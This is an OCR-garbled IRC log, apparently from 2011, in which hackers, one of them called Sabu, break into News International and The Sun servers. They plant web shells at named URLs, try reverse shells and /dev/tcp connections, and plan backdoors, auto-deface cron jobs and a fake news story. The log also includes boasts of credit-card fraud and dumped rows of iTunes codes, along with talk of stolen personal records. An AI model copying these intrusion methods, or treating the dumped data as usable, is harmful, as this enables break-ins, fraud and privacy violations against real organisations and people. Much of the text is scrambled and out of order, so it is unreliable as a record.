— Log opened 
18:36 H Sabu 
18:36 
normal 
18:36 




18:39 
18:39 
18:39 
18:39 
18:40 
18:40 
18:40 
18:40 
18:41 
18:41 
18:41 
18:41 
18:41 
18:41 
18:42 
18:42 
18:44 
18:44 
18:44 
and/or t" 
18:45 < 
18:45 
18:45 
18:45 
18:45 
18:46 
18:46 
18:46 
18:46 
18:47 



Sabu> 
Sabu> 
Sabu> 
Sabu> 
Sabu> 
Sabu> 




u> 
Sabu> 
Sabu> 



to be good shi 
18:47 < Sabu> 
18:47 < Sabu> 
18:48 < Sabu> 
18:48 < Sabu> 
18:48 
18:48 

name shortly 

18:48 < 

18:48 < Sabu> 
evidence shows 
18:48 < Sabu> 



#!sunnydays.log 
Tue :ul 12 18:36:58 2011 

161D78A9.6B94F3D. 5438D71B.IP] has joined #!sunnydays 
Tsunnydays: Total of 5 nicks [1 ops, 0 halfops, 0 voices, 4 

Join to #!sunnydays was synced in 0 sees 
I was gonna upload a PHP shell 
and cause lulz 
what up gentlemen 
lets do this 
<3 

Sabu, 111 gief u the linkage 
http://extras.thesun.co.uk/php/quiz/log.php 
http : //sky . page3 . com/conf i g . i nc . php 
those are C99's 
or similar 

that I^I^^B was able to LFI up thar 
now trmi^^^^cos its freakin SunOS 
tis confusing the fsck into us 
Hi Sabu! 

need to pwn das boxen, so we can move to phase two - we can 

but we need root to deface NOTW pages 

etc 

etc 

^^HHH can explain better :) 

httpv/e)^ ras.thesun.co.uk/php/quiz/menu_4. php did you guys 

1? 

yes 
okay cool 

we removed the c99 and change to a less detectable shell 
which leaves less logs 

hi ^m^^u 

hi ^^^^^my brother 
y^Saou 

^ Hi Sabu, how you been keeping? 

im good just busy 
I feel like a rap promotor 
but I Ivoe this song 

■^B^^l is making a new song for anonymous today called war 
^^cus^on the inhumanities of war around the world 
and our operations in tunisia etc 
ni ce ! 

Sabu is now a rap promoter, 
but, as a rap promoter 

he gets free bling and/or bitchez and/or hoes and/or gangstas 

er stuff 
:D 

uOl/web/extras . thesun . co.uk/basedi r/wordpress/proxy/fi ndsock 
dunno if that will work for you 

it should 

sec 

need to move a shell to there 

Sabu, talked to about already? :P 

no but we can get him on ire 
and you can talk to him about it 

^^^^^^1 good work on owning sun honestly speaking this is going 
t. I want tnei r mail spools 
fuck the rest 

I want evidence f that my friend on twitter was etlling me in DM 
that suns got this whole conspiracy against anonymous for exampl 
the day got locked up 

we' re^^^nning on writing a fake story + homepage deface too 
tPie sun hired some internet cyber intelligence guy I'll get you his 

https : //remotemai 1 . newsi nt . co . uk 
to pretty much tell them that WAS lulzsec even though the 

otherwi se 
and 
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# lsunnydays.log 
18:48 < Sabu> they were to frabricate a story 
18:49 < Sabu> sayign that we rtied to hack sun 
18:49 < Sabu> and they failed 
18:49 < Sabu> they as in us 
18:49 < Sabu> they deneid us hacing sun 
18:49 < Sabu> so if can get those internal communications 
18:49 < Sabu> we'll be golden 

18:49 < Sabu> let me get the dms because its a sun insider telling me all this 
18:49 < Sabu> sec 
18:49 < 
18:50 < 





when was 







18:50 < 
18:50 < 
18:50 < 
deface 
18:50 < 
18:50 < 
18:50 < 
18:51 < 
18:51 < 
18:51 < 
18:51 < 
18:51 < 
18:51 < 
18:51 < 
18:51 < 
18:51 < 
18:51 < 




mam server first! 
18:51 < 
18:51 
18:51 



news of the world gets defacepage, Sun and others get 

and if we can set up a hidden CRON job 
so that when they rm our fake story 
^^^^^1 and I thought that we'd do the fake Sun story, the 

arte^^ 

providing we still have access 

it defaces them with Nyan cat / you got owned by lulzsec 
to really embarrass them 

AAAAAH 

and as insurance 
toss in a Cron Job 
to auto deface 
i ndeed 

along with 9001 back doors 

etc 

oh hell yeah haha 
my shell is not working 
haha that would all be good, but we need to get access to the 



aye 
which one 




this experimental shell 



developments n 



the one I am trying to get working 
I am netcatted in 
sending the request for it 
and its ignoring me 

It probably needs to be compiled on that box 
yeah 

and I couldnt get GCC or cc to run 

na^contacts in soca. mayb he will tip of thesun wit future 
try find out bro 
18:53 < Sabu> 23 :un at 21:18 

< Sabu> ^^^^■■■■■^^H 

18:53 < Sabu> yoT^OLH^^eal^^^DL^i t would stop me getting u further updates 

abt that analyst guy. like i said 

18:53 < Sabu> 23 Jun at 21:17 

18:53 < Sabu> The Real Sabu anonymouSabu 

18:53 < Sabu> another thing my brother .. can your source get us more info? this 

is crazy SHIT 

18:53 < Sabu> 23 Jun at 21:11 

18:53 < Sabu> The Real Sabu anonymouSabu 

18:53 < Sabu> awesome brother, sorry I was afk for a bit. reading your messaged 
etc. can we leak this info you gave me bro? obviously we'll do it right 
18:53 < Sabu> 23 Jun at 21:11 

18:53 < Sabu> 
18:53 < Sabu> i 



18:53 
18:53 
18: 
18:53 
18:53 
18:53 
abt this 




fucking tired 



]ust goog le 
Sabu> 23 3un at 19:2' 

53 < Sabu> excus^tn^typo^nate 

< Sabu> 23 Jun at 19:16 

< sabu> ^^H^^l^HHIHIi 

< Sabu> r^^anmuwereTorcenilly stopped 
cunt i tell u man 
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thats it bro anything u hear tmw 



60811 



#! sunnydays .log 

18:53 < Sabu> 23 :un at 19:14 

< Sabu> ^^^^H^^^^^^B 

18:53 < Sabu> warne^t^cnang^an^veak passwords n the network was being scanned 
etc. n they were preparing a story on it n were going to exaggerate 
18:53 < Sabu> 23 Jun at 19:13 

< Sabu> ^H^^H^^^l^^H 
tn^^tne^^^^^oucr^vith fbi cyber division for help, 
anyway since yest my mate saud staff were 

Sabu> 23 Jun at 19:09 

< Sabu> ^B^^g^^^B^H^ 
18:53 < Sabu> s^^t^sun^ourn^^^ head 
any real info on u's and 
18:53 < Sabu> 23 Jun at 19:08 

< Sabu> ^^^H^^^^^^^H 

seem^T^Ta^conta^s wi th so cs too. they know isnt really 

still told to link them. says 
Sabu> 23 3un at 19:04 



18:53 < Sabu> 
rates u guys. 
18:53 < 



seems he 



that socs are unable to get 



Jn^Teply yet man still 1 typing 



called 



working for them sum 



18:53 < Sabu> 
lulzsec but r 
18:53 < 

18:53 < Sabu> 

18:53 < Sabu> seems some one. 
18:53 < Sabu> 23 Jun at 19:01 
18:53 < Sabu> 
18:53 < Sabu> 
security advisor. 
18:53 < Sabu> 23 Jun at 19:00 

18:53 < Sabu> ^^^tx^unHnar^^^^^ 

18:53 < Sabu> 23 Jun at 18:54 

18:53 < Sabu> The Real Sabu anonymouSabu 

18:53 < Sabu> Your insider to sun .. You got more info? Thanks brother. Meet me 
on i rc soon 

18:53 < Sabu> read from the bottom -> up 
18:56 < ^H^^m Sabu, 

http : //webdevtwo:3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=extrasthesun&AGE=0 I 

think that is a link to a local server on the Ian where you can add stories 

18:56 < ■^■^■1 if that helps 

18:56 < ■Sabu> well let take it step by step 

18:56 < Sabu> cause I dont wanan fucking do shit all over 

18:57 < ^^^^^^H and I think it is possible to ssh from the server we have the 

shell on into that server 

18:57 < Sabu> what have you guys done so far? 
18:57 < Sabu> just get in and shell? 

18:57 < sabu> have you started traversing their box for data and all that shit 
18:57 . - -- 

18:57 



without any manor progress 
18:59 < Sabu> kk 
18:59 < Sabu> gonna hop in 
18:59 < Sabu> fuck the police 

work away 



Yes basically 

ya, we have been looking around and doing some recon, but 



18:59 < 
19:05 < 
19:05 



19:05 < 




so someone just brought up something interesting 
Julian Assange's extradition hearing 

Sabu I think it is possible to ssh from the server we have the 

shell oh into that server ( 

http : //webdevtwo : 3000/cgi -bi n/wwwsdps . cgi ?TYPE=DATE&SCHEME=ext rasthesun&AGE=0) as 
there is an entry for that box in premoteCthe web users) authorized keys file 



19:05 < _ 
wi ki Leakf 
19:05 < 
19:06 < 
fuckers 
19:07 < 
19:07 < 
19:19 
19:20 
19:20 < 
19:21 < 
19:27 _ 
http: //gen 



if he is extradited, we could deface on behalf of defending 

not sure how that'd work though 

I would go more for defacing because murdock and news corp are 

agreed 

Defacing UKGOV is more apt for WL 
Sab u: fee l free to invite him here 
the guy I mean 

: P 

Sabu can I help at all? 

This is one of Murdocks corperate sites, 

newscorp.com/ I think it runs Movable Type 
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19: 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 
19; 



28 
31 
39 
40 
40 
40 
41 
41 
41 
42 
42 
42 
43 
43 
43 
43 
43 
43 
43 
43 
45 
46 
48 
48 




#! sunnydays .log 
the MT Oday from ■ 



did you grab 
no 

MT Oday? 

I have the exploit from 
the one we used for PBS 
PBS... YOU mean the cookie 
or w as that ^^^^J 
Btw, ^^^^^^^nee 
im drawing in paint 
mean the twitter 



she posted 

LFI? 

png of the lulz canon guy, 



you 



Sabu> true to 
^^^^H its 

Sabu> looking 
Sabu> give me 

Sabu> 
Sabu> 



injection 

7 

a .png of the lulz canon guy, stat :P 

XD 

avatar? 

yeah the cookie poisoning that we didn't release details of 
because it was simply too 1337 to be patched 
Yes, the twitter avatar 
and yes, OFC we no release details 
that 

it# 



a fascinating way to do 
around atm 
a few 

I love Solaris 

its the first os I ever hacked 



images 



19: 
19: 
20: 
20: 
20: 



:48 
:49 
:01 
:06 
;11 
other 

20:11 < V 
cd "$RDDIR 
20:11 < 
20:11 < , 
was made' 
20:12 
20:12 
shell 
20:12 




hehe 
ere 
the 



http://i .imgur.com/vhorv.png 

original had yellow liquid in the glass 



didn' 



idea, I picked it randomly from a big folder of 



t it? 
reaction 



interesti ng ! 
I think the 




it had red 

ah ok 
working on the 
lol 

ok it looks like 
without a password 

} I SSh "$PEER" -- 
> "${TARGET}.new' 
D 

in /usr/local/apache2/conf/redi rect-domains/update.sh which 



'comic" for "we own the sun" now 

the keys are set up to allow sshing into 



'IFS="" read rddir && 
&& mv "$ {TARGET} .new" ' 



IFS="" read 

$ {TARGET}'" 



TARGET && 



whole network will fall once we get a working 



root even 

proving to be a balls 
and get a working socket 



I dont think we are going to need to 
Aye, just getting a working socket is 
we just have to bypass the firewall 
It has to be possible 
It is 

just a pain in the arse and I need to think of a way 
what is with all the apache conf's and virtual hosts on this 

is it mapping out all the domains? 
Sabu hows it going for you? 
well, part of the anon infrastructure is restored again... 

onl i ne 

- I THINK SO 



access, at the moment 
that now if we want 
site for all murdocks 



to http://newsint.co.uk/ 

papers 

server 
.tar 



Holy fuck 
we have write 
we can deface 
the uk parent 
Sabu A 

There is also ISOmb .tar.gz on the 
www. newsi nt . co. uk-basedi r-20110712 . 
containing a backup of the site 
im downloading now 
kk~~ret me know when you got it 
lets not leave too much traffic in 
got to tdo this carefully 
ok will do 

WTF its downloading at 14KB/S on the VPS I'm downloading it 
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20: 
20:35 
20:36 



20:33 < 
20:33 < 
http://n 
20:34 < 
20:34 
20:34 
35 < 
< 
< 

british 
20:39 < 
20:39 < 
20:39 < 
20:39 < 
20:40 
think 
20:40 
20:40 
20:41 < 
20:41 < 
20:41 < 
20:41 < 
20:41 < 
20:44 < 
can pwn 
newsofth 
20:44 < 
20:47 < 
and feel 
20:47 * 
20:48 
20:48 < 
20:48 < 
20:48 < 
20:48 < 






20 
20 
20 
20 
20 

20:56 < 
20:56 
20:57 
newsi nt 
20:58 < 
20:58 < 
files. I 
domai ns 
20:58 < 
20:59 < 
21:02 < 
21:02 < 
21:02 < 
21:02 < 



#! sunnydays .log 
anyone else wanna try download it> 

ewsiTT^ToTuk/Sc ri pt s/www. newsi nt .co. uk-basedi r-20110712 .tar 

- the gibson or fuck fbi friday? 

i use the other one? 

ours 

180mb file WTF? 

can get a interactive shell on the server their entire 
media empire is fucked! 

^^^^^H - Other one may be fucked too 
samesuDnet 
wait 

7 

IDK if our mutual friend you met at the weed protests, L, I 
gave her S SH axx 

to the gibson? 
yeah, she was gonna fix my fuck ugly html ages back :P 
ah she doesnt 

she couldnt remember the pass 
OH! 

kill metasploit 

and check is there a screen rnning 

if we can get an interactive shell on the server l think we 

newsint.co.uk, thesun.co.uk, timesonline.co.uk, thesundaytimes.co.uk and 
eworld.co.uk 

Murdock would not be so smug then! 
I just paid for Pro Pastebin with a highly illegal credit card, 
ing fine 

puffs cigar like the cool kids 

lol 

welcome, ■■^^^^^■l 

Jul 12, 20^^^^^^^^ Recurring Payment To 
Pastebi n 

Completed Details Recurring Payment To Pastebin 

-$23.95 USD 

PayPal with lOminutemail and fake phone number, damn retards 

lol 

sweet, my ^^^^^^^^ card has $176 on it 

Ha did tne^io^^^e you a free one for all the hits? :P 
time to burn it somewhere before PayPal freezes me 
quick, where to spend? 
deal extreme? 
ha you could buy me a VPN if you like? 
: P 

dx sounds good 

think of the number of lasers you could buy for $176 
or buy something fun from the silk road :P 
urn 

then you'd have to find an exchange 
for bitcoin 
that accepts paypal 
which... does not exist 
lol 

oh ya, sorry silly me! 
http: //i mages . 4chan . org/b/src/1310504337134 . jpg 

^^^^1 did you see that we now have write access to 

CO. uk 

that's great news my friend 

Sabu, have you seen all the redirects in the apache/conf/ 

we rooted the server do you think we could just redirect all those 
to a deface page? 

Yup, so thats a cert anyways 
whatever else we can manage is a bonus 

freenode 

Sabu> yup 

find nearest rp off asshole 
buy bitcoin 
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21: 


02 


< 


21: 


02 


< 


21: 


02 


< 


21: 


03 


< 


21: 


03 


< 
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03 
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03 
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03 
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21: 


03 


< 


21: 


03 


< 


21: 


05 


< 


21: 


19 


< 


21: 


19 
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19 
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19 
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21: 


19 
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21: 


19 
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19 
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21: 
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21: 


24 
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21: 


24 
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21: 


24 
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21: 


24 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


25 


< 


21: 


26 


< 


type 




21: 


27 


< 


21: 


29 


< 


21: 


30 


< 


too 




21: 


30 


< 


21: 


31 


< 


21: 


31 


< 


21: 


32 


< 


21: 


36 


<( 


21: 


36 


<( 


of 


sen' 1 


21: 


36 


<( 


21: 


39 


< 


21: 


39 


< 


21: 


40 


< 


i njectei 


21: 


40 


< 


21: 


40 


< 


21: 


41 


< 


(an alti 


21: 


41 


< 


21: 


42 


< 


21: 


43 


< 


21: 


43 


< 


21: 


43 


< 


21: 


44 


< 


on 


the 1 


21: 


44 


< 



Sabu> 
Sabu> 




thats 



Sabu> 



#! sunnydays .log 
but rootign a solans box will require Oday 
this one seems pretty patched 

Sabu - thats OLD Solaris , no? 
Solaris 9 is out 
10 

chargebacks, OTC ratings, etc. 

tru 

true 

true imma try what I have 

but, meh, you still get btcoins 

now watch paypal get df rozen 

any idea wn^the VPS is so slow? 
E.CB47D490.A27E456C.IP] has joined #!sunnydays 
- No idea, I think the datacentre is just being silly 







friend, who has root on the whole ddatacenter 
Tng about 

Sabu> kk<3<3<3<3 

Sabu> we trying to root this Solaris box 
:D whos messing arround in a DC? 

- the sh311s VPS is slow 
so I think your friends using their band width 

he has root on thei r hosts IIRC 
he does 

XD 

hehe :D 

hi H 

"I b lame him for my slow VPS and shitty customer service" 

Or her. . . 

<3 

; PppPPp 

http://gei.newscorp.com/ That seem to be running movable 

lols 

Still got that Oday? 

It would be great if we could own their international server 

as well as their uk server 
it wasn't me who had it, someone else had it 
ah ok 

Sabu, any luck with the server? 

this is interesting... 

Refused to execute a JavaScript script. Source code 

request . 

it seems Chromium has XSS protection. 

was that not the cookie LFI you developed? 
no was tor ^^^^^^^^^ 

it was just away to get round the why they blocked php being 
to apache logs 
aaaaah 

my bad 

Behold! The Beta of das Comic 

eases r~ 
http://i .imgur.com/kDJ3x.png 
could you tell me more about the cookie injection 
oh man that is epic!!!! 
that's fucking hilarious 
I lol 'd so hard! 

Thanks guize, haz another on the way once I get my fingers back 





wi t 






to press 



more authentic an 
quality 



while I 
arious feel , 



believe the 
if you want 
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#! sunnydays .log 

21:45 < ^^^^^H^fee! free to if you want, see how it turns out :D 
21:46 < ^H^^^H ok so we can definatly deface newsint.co.uk 
21:46 < ^^B^^T awESOME ! 

21:47 < ^^^^^H Thats gonna be a kick in the teeth for murdoch 

21:47 < ^^H^^^ priority is still getting a backconnect or equivelent on that 

server so we can ssh into the other local boxes 

21:47 < ^M^ ^B great news 

21:48 < i still want to replace pageS with naked old men xD 

21:48 < ^^^^M XD 

21:48 < ^^M^^B - theres a whole server 

21:49 < ^HI^^H c^led pageS 

21:49 < ^^^^H and we gOtsh311 

21:49 < ^^^^m 

21:49 < ^^H^^l IMAGINE 

21:49 < ^^M^^B "guy wakes up for morning pageS fap" 

21:49 < ^^^^^H "clicks on internet explorer' 



21:49 < ^^p^^H "goes to page3 website" 
21:49 < send me some links of someshells 

21:49 < :D 

21:49 < ^^Biwant to play :3 

21:49 < ^^^^H "*AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGH*" 
21:50 < ^M^M 'sec 
21:50 < ^^M^^B linking 

21:50 < ^^^^^H http://extras.thesun.co.uk/php/quiz/log.php 
21:51 < ^^^^^H http://sky.page3.com/config.inc.php 
< page3.com it exists 

21:51 < ^^^^^1 so we'll definitely bring back ©LulzSec for this one 
21:51 < ^^^^M Fuck Yes 

21:51 < ^M^^B I say we do this as soon as we get settled with control 

21:52 < ^H^^S Operation Longf i re 

21:52 < ^^^^^j where we fire longrage cannons 

21:52 < ^I^^S fr^om our holiday location 

21:52 < ^^^^^1 no wait wiat 

21:52 < ^^^M oh fuck 

21:52 < ^I^^S prepare to jizz 

21:52 < ^^^^^1 Operation Murdock 

21:53 < use TLAMS 

21:54 < Tommahawk Lulz Attack Missiles 

21:54 < ^Sl — lol 

21:54 < it's~ suposed to stand for Tommahwak Land Attack Missile 

21:54 < j^^^H^H There is much lulz to be had from this, so I don't really want 

to launch premiturly 

21:54 < ^Mit^s basically just a cruise missle 
21:55 < ^B^ ^M^B fuck I need spell check 

21:55 < but T dont think they have loiter mode like the maine cruise 

21:56 < with loiter the missiles wait in the sky till told to attack :0 

21:56 < ^^B like an ICBM can orbit the earth :0 
21:57 < ^MB^B ;p; 

22:01 < ^H^^H^^^^^H - You SO DELIBERATELY avoided that innuendo! 
22:01 < ^^^H SRSLY 

22:02 < so what are we going with "lol hack phone bad you hack phone we hack 

you" ? xD 

22:02 < ^^^^H Not quite 

22:02 < ^^B^g deface NOTW 

22:02 < |5BB^ we deface it with a comic strip called "Lulz of The world - 
Voice mail hacking special!" 

22:02 < ^^^^^H with a guide to voicemail hacking, presented my Mr Lulz Monacle 
Dude 

22:03 < ^^M^^B List the newspapers BTW 
22:03 < ^^^^^H or rather 
22:03 < ^^^^^M domains we can deface 
22:03 < ^^B^^^J what innuendo? 

22:03 < ^^B^^M~sssumi ng we get NO forther than this 

22:03 < l^^^^^l ^^^^Hl ~ firing early... Premature firing... 1+1 + 9001 

juvenile humor? 

22:04 < ^^^^^Hl oh ha ya, i thought that lol 
22:04 < - if we get no further than this 

22:04 < ^^^^^ wna^can we deface so far 
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#! sunnydays .log 

. yup 

but what domains I emant 
which ones can we 100% own at this moment 

There were rumors that AntiSec hackers are working on something 

big since yesterday when sabu, the suspected leader of the now-defunct Lulzsec 
hacking outfit tweeted: "ATTN intelligence community: Your contractors have 
failed you. Tomorrow is the beginning. #anonymous #antisec." 



22:07 < 
22:07 < 
22:08 < 
22:08 < 




22:08 
22:08 
22:09 
22:09 
22:10 
22:10 < 
22:10 < 
22:10 
22:10 




Defunct? 

OHRLY? 

lol 

we can deface newsint.co.uk ATM 

the parent group that owns all the newspapers 
what about the sun itself? 
the times, etc? 

I recall you saying we can own all possibly 
ya it owns all them. I have a feeling we can own the sun too, 



as the homepage includes an i frame that we can change 



22:11 



don't even have to root it I think 



22:12 < 
22:12 < 
22:12 
22:12 
22:12 
22:13 < 
22:13 < 
22:13 < 
22:13 < 
we can ss 
22:13 < 
22:14 < 
shell on 




To own all of them we need to get a socket to the server, we 



aaaaaah, why a secket exactly? 
-'socket 

oh, *facepalms* 
llll work on it 

I have some new tricks I need to check do they work 
another PHP socket-less terminal thing 
kinda socketless 
you need Shell access, ami rite? 
not necessarily a socket we just need an interactive shell so 
across the Ian 

yup 

Sabu, ^PHH ^'^y I'dea how we can get an interactive 

I thinlTwe snouTa be able to pwn loads of sites on the Ian 




then without even rooting 




btw, is #i nternetfeds and #blackops gone from the main IRC? 
^^^^^B - gimme a few mins to check 

^<nov!^l have a tool in Python here 

so your problem is getting a reverse shell on there? 
yep 

we cant get any kind of a socket 
a revers ssh connection? 
reverse* 

basically you make a remote server listen for a ssh connection 

oooh, ^^^B^H She haz an epic idea! 
you execute ssnontne target and make it connect to the remote 
ogin to the remote server and you get shell 
kinda like howd you'd set up remote access to SSH through a NAT 
google "reverse ssh trhough NAT" 
should explain it all 
wanna try? 

They would be so pwned then! 
use my servers :) 

I bought them under the lulzsec name 
as in 

"Dear Lulz Sec" 
on my support tickets 

:/ wont work :/ we need ssh access for it anyways 
damn :/ 

have you tryed perl/python shells? 
even a shitty bind shell? 
$ Is -al /dev/tcp 
Irwxrwxrwx 1 root other 



/devi ces/pseudo/tcp(aO : tcp 



27 Mar 1 2005 /dev/tcp -> 




how about a /dev/tcp connection? 
hmmmmm 
might work 
BTW, H| 
check this out 
http : //i nf osuck . org/ 
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22; 
22; 



22:26 
22:28 
22:28 
22:29 ~ 
22:29 < 
22:29 < 
22:30 < 
22:30 < 
22:30 < 
22:31 I 
termi m 
22:31 
22:32 < 
running on 
22:32 < ■ 
22:32 < S 
22:36 
22:36 
22:36 < 
22:37 < 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
22:37 
38 

38 

don't want 
22:38 < 
heh 

22:39 < 
stuff 
22:40 < 
22:41 
22:41 
22:41 
22:41 
22:41 
22:41 
22:41 
22:41 
22:41 < 
22:41 < 
22:43 < 
22:43 < 
22:44 < 
22:44 
22:44 
quit 

22:45 < - 
22:47 < 
23:03 < 
23:03 < 
23:04 < 
23:04 < 
23:04 < 
23:04 < 
23:05 < 
be a gi r 
23:06 < 
23:06 < 
23:06 < 



# lsunnydays.log 
whitehats use it to make comics 
to citch at eachother 
one is bitching about 

6018396E ■ CB47 D490 . A/^ /E45bC . IP] has joined #!sunnydays 

is now known as 

we really neea this shell 
how to we get it out through the firewall 
the seem to have a pretty complicated set up 

ittp : //packetstormsecu ri ty . org/f i 1 es/vi ew/86810/wsh-0 . 1 . tar . gz 
try that 

|6018396E.CB47D490.A27E456C.IP] has quit [User quit: Lost 

is now known as 

- gives you a command line based on a PHP script 

the server 

^^^H via Terminal 

^^^H I rrecall it being very useful to me before 

[^^BI^HHHHI^^^B has joined #!sunnydays 

howdy 

this is where its at 

hi^^^k 

yar j^^wa^^eaked the chan <3 after i leaked the ocmix lol 

hey 
haha 

but i was kinda afk most of the evening anyway 
yeah guys we forgot about 

just got back 
welcome to the partyzone 
dont worry, just got back anyway, excellent timing :) 

everyone be careful to clean up any shit your testing, we 

ins finding this shit in the morning 

hmmm... this almost looks like the lulzboat is sailing again 






1 su 




well, if you need help with simply looking for interesting 

re can help 

^^^^B - I think I rm-ed my tests 
^mie^way, try that tool! 
cos i gotta go offline 
:) 
:C 
ok 

:( 

ioi bai ! 

ust don't want to liter the place 
amn talk to you later man! 

<3 

reams saussage :D 
ohai how could i overread you abusing me 

is shocKed 

[^^^konjassiem-329469lE. b-ras3 .mvw.galway .ei rcom. net] has 

timeout] 

m just th good at it you dont notice :3 

lol 

any ideas or ^^^^^H 
? ^^^^^^ 

about? 

put the search for hbgary back online wohooo 
nttp : //search . hbgary . anonl eaks . ch/ 
:D 

look for the email about arron bar talking about pretending to 

yeah 

thats why i found the search heh 
23:12 <^^^B 
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#! sunnydays .log 
http : //hbgary .ano nl eaks . ch/aaron_hbgary_com/16436 . html 
this one i guess :) 

have you seen what we are working on 
ittp: //extras . thesun . co . uk/wordpress/versi on . php 
1 was told what you are working on, yup but haven't looked so 

ok 

ah okay :) 

that interface looks familiar lol 
what exactly you need atm? 
lol 

we need to get a back connect/ interactive shell somehow so we 
other boxes on the Ian 

http : //i . i mgu r . com/kD J 3X . png 

haha 

see this comic ^^^^^ did? 
yar heh... that '^now^i got here 
i "leaked" that H HHi 
who in turn invitea m^iere lol 
pwn gave that to me in PM 
and hmm 

are we dumping this btw? 

in the basedi rs are Firefox.exe and crap hm 
well we are planning a deface 
notw of course also on there 

atm we can deface the main newsint.co.uk parent company site 
this is so sweet, ppl were askind us on twitter for dayz :p 

people were asking for what? but I think if we get the shell 
e able to deface thesun. co.uk thetimes.co.uk 
s. co.uk and newsoftheworld.co.uk 
:D 

ust keep it quite tho for now :D 
notw ownage and murdoch in general 
because of that scandal 
Yep, we dont want this getting found out 
newsoftheworld.co.uk is splendid 
backdoor the server, if you can 
should put a special message there 

yar i'm not the kind of guy to be messing with that, tbh 
may have an idea 
I might try modify some legitimit php scripts with RCE's 
just in case they remove the web shells 
he's off tho 

i'm just browsing a bit to see if i can see anything that could 

interesting for us 
is sabu aroundS 

I'm downloading archieve of the newint.co.uk site 

ave we not found their users database? 

wan't to download it too, the vps im using is really slow 

I don't think their is much databases on the current server 

woiw there's a tonne of mysql backups xD 
ya 

I downloaded one yesterday to see 
ing useful 1 in them? 

no passwords 
mmm 

ill just check again one sec 
oh, what have we here 
485,000 iTunes codes 
rof 1 : D 

yeah get those, i guess. 
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33 
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this is booty to publish when we 




are they valid? 

I don't really wanna publish any personal info 
just fuck up murdock and co. 
I dunno yet, it could be a really old DB 
i tunes codes are personal info? 
oh from accounts 
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#! sunnydays . log 

23:33 < H^^^B thought unused 

23:33 < ^B^M no 

23:33 < ^H^^^Pi never used i tunes i have no fkn due about it heh 

23:33 < ^^^^^^B they are not 

23:33 < ^^B^^^J thats not persona! info 

23:33 < ^JB^^J one sec 

23:34 < ^BB^^J code_id 

23:34 < ^BM^^^B code_week_id 

23:34 < ^H^^^^H code_str 

23:34 < ^^B^^^l code_regi strati on_1d 

23:34 < ^B^^a 249991 

< S^^H 

23:34 < ^B^B 

23:34 < ^Hl^^B 3F674WKKW3YX 

23:34 < ^B^^S 

23:34 < ^B^^B 2 

23:34 < ^^^^H 

23:34 < B^^H 249992 

< ^B^H 

23:34 < ^H^H 1 
23:34 < mm^^M 

23:34 < ^B^^H EF9H44AMLWR4 
23:34 < S^^^l 

< ^B^H 3 
23:34 < ^H^^B 
23:34 < ^S^B 249993 
23:34 < S^^B 
23:34 < B^^^l 1 
23:34 < ^^^^H 

23:34 < B^^^H ENKLNFJA64T6 
23:34 < ^B^M 

23:34 < ^^I^^H'^h okay., yeah., if it's presonal info, i agree, this aint 
antisec mer^^^^e play this RIGHT we win the whole public 

< ^^^^H 4 

< ^B^H 

23:34 < S^^B 249994 

< ^^^^H 

< ^B^B 1 
23:35 < ^B^B 

23:35 < iH^^B LRAK93JLP44N 

< ^B^H 
23:35 < B^^B 5 

< B^^B 

23:35 < ^^^^H 249995 

< ^B^B 
23:35 < ^B^B 1 
23:35 < MH^^H 

23:35 < ^^^^^H x:TTE7TTNWX3 

< ^B^B 
23:35 < S^^B 6 

< ^B^^H 

23:35 < ^m^^m 249996 

23:35 < ^B^B 1 

23:35 < ^M^M 

23:35 < ^^H^^B 6HHHRJX99X46 

23:35 < B^^B 

23:35 < ^H^^B 7 

< B^^B 

23:35 < ^B^^B 249997 
23:35 < B^^B 1 

< S^^B 

23:35 < ^^^^^1 FEY7F43YTNXT 

23:35 < ^1^1 

23:35 < ^^^^^5^ okay okay :) 

< ^^^^h 8 
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#! sunnydays .log 



249999 

"are you gonna post all 475k? :( 
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23; 


;40 
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#! sunnydays .log 

1 

ELTPYW9AWWF6 
17 

250007 
1 

LF3NXJWLFHKA 
18 

250008 
1 

WPJRNA7RXHTN 
19 

spaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam 
250009 

XD 




23:41 
23:41 
23:43 
23:43 
23:43 
this rig" 
23:44 < 
severe impact 
23:44 < 

23:46 < ^ 

https ://newsi 
else download 
23:46 < 



n3nk4afyhy:h 
20 

250010 



EMPA99ALPTKH 
21 

250011 



N7P6FLMRWH6L 

22 

what do these do i wonder 
ya thats what i'm thinking 

the vast majority of people don't like murdock and what he and 

stand for we can play to that 

we can do a humorus pwn of his company and news papers! 
oh 15k names, address , emai 1 s , dob's and phone numbers 
https : //remotemai 1 . newsi nt . co . uk/ 
I wonder is that on the same Ian, 
steal internal mails too 
see what they are up too 
yes we should play this right 
and we should be careful with what we publish 
not cause we are moral fags but cuase if we continue to play 
get insane support 

see ^^^^^B as just one recent example., that will have an 

on undergroun^rap scene 




nt . CO. uk/Scri pts/www. newsi nt. co. uk-basedi r-20110712 . tar can somebody 

this too please? 

who and what is the i keep hearing of? 
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23:49 <' 

may be very u 
etc :P 
23:49 <' 
23:49 < 
23:50 
23:51 




https ://newsi 

23:53 < 

https ://newsT 
23:53 < 





http://newsin 

23:57 < ^ 

— Day Chang 
00:00 
00:00 
00:00 
00:01 < 
00:01 
00:01 
00:02 
00:02 
00:02 
00:02 
00:02 
00:11 
00:11 
00:11 < 
00:11 < 
00:11 < 
00:11 < 
00:11 < 
00:11 < 
00:12 < 
00:12 < 
00:13 < 
00:13 < 
00:13 < 
00:13 < 
00:13 < 
00:13 < 
00:14 < 
btw 

00:14 < 
00:15 < 



#! sunnydays.log 
the vps i am using is way too slow 

http : //www. youtube . com/watch?v=lXFSAeLo65Q 
1 produce a whole album dedicated to #AntiSec 
this is just the first song :) 
iP^^^^g wi11 do 
^^^car^onnect . . . . 

Thanks alot 
timed out 
cant connect :/ 

for those that didn't see it yet, http://www.treesheets.com/ 
1 for all kinds of stuff that requires spreadsheets, flowcharts, 

[/spam] 

ow can it make an impact it only has 100+ views :o 
you cant connect? 
nope 

times out for me 

The server at newsint.co.uk is taking too long to respond. 

it's a new version 
Dut they censored down the old one as well heh 
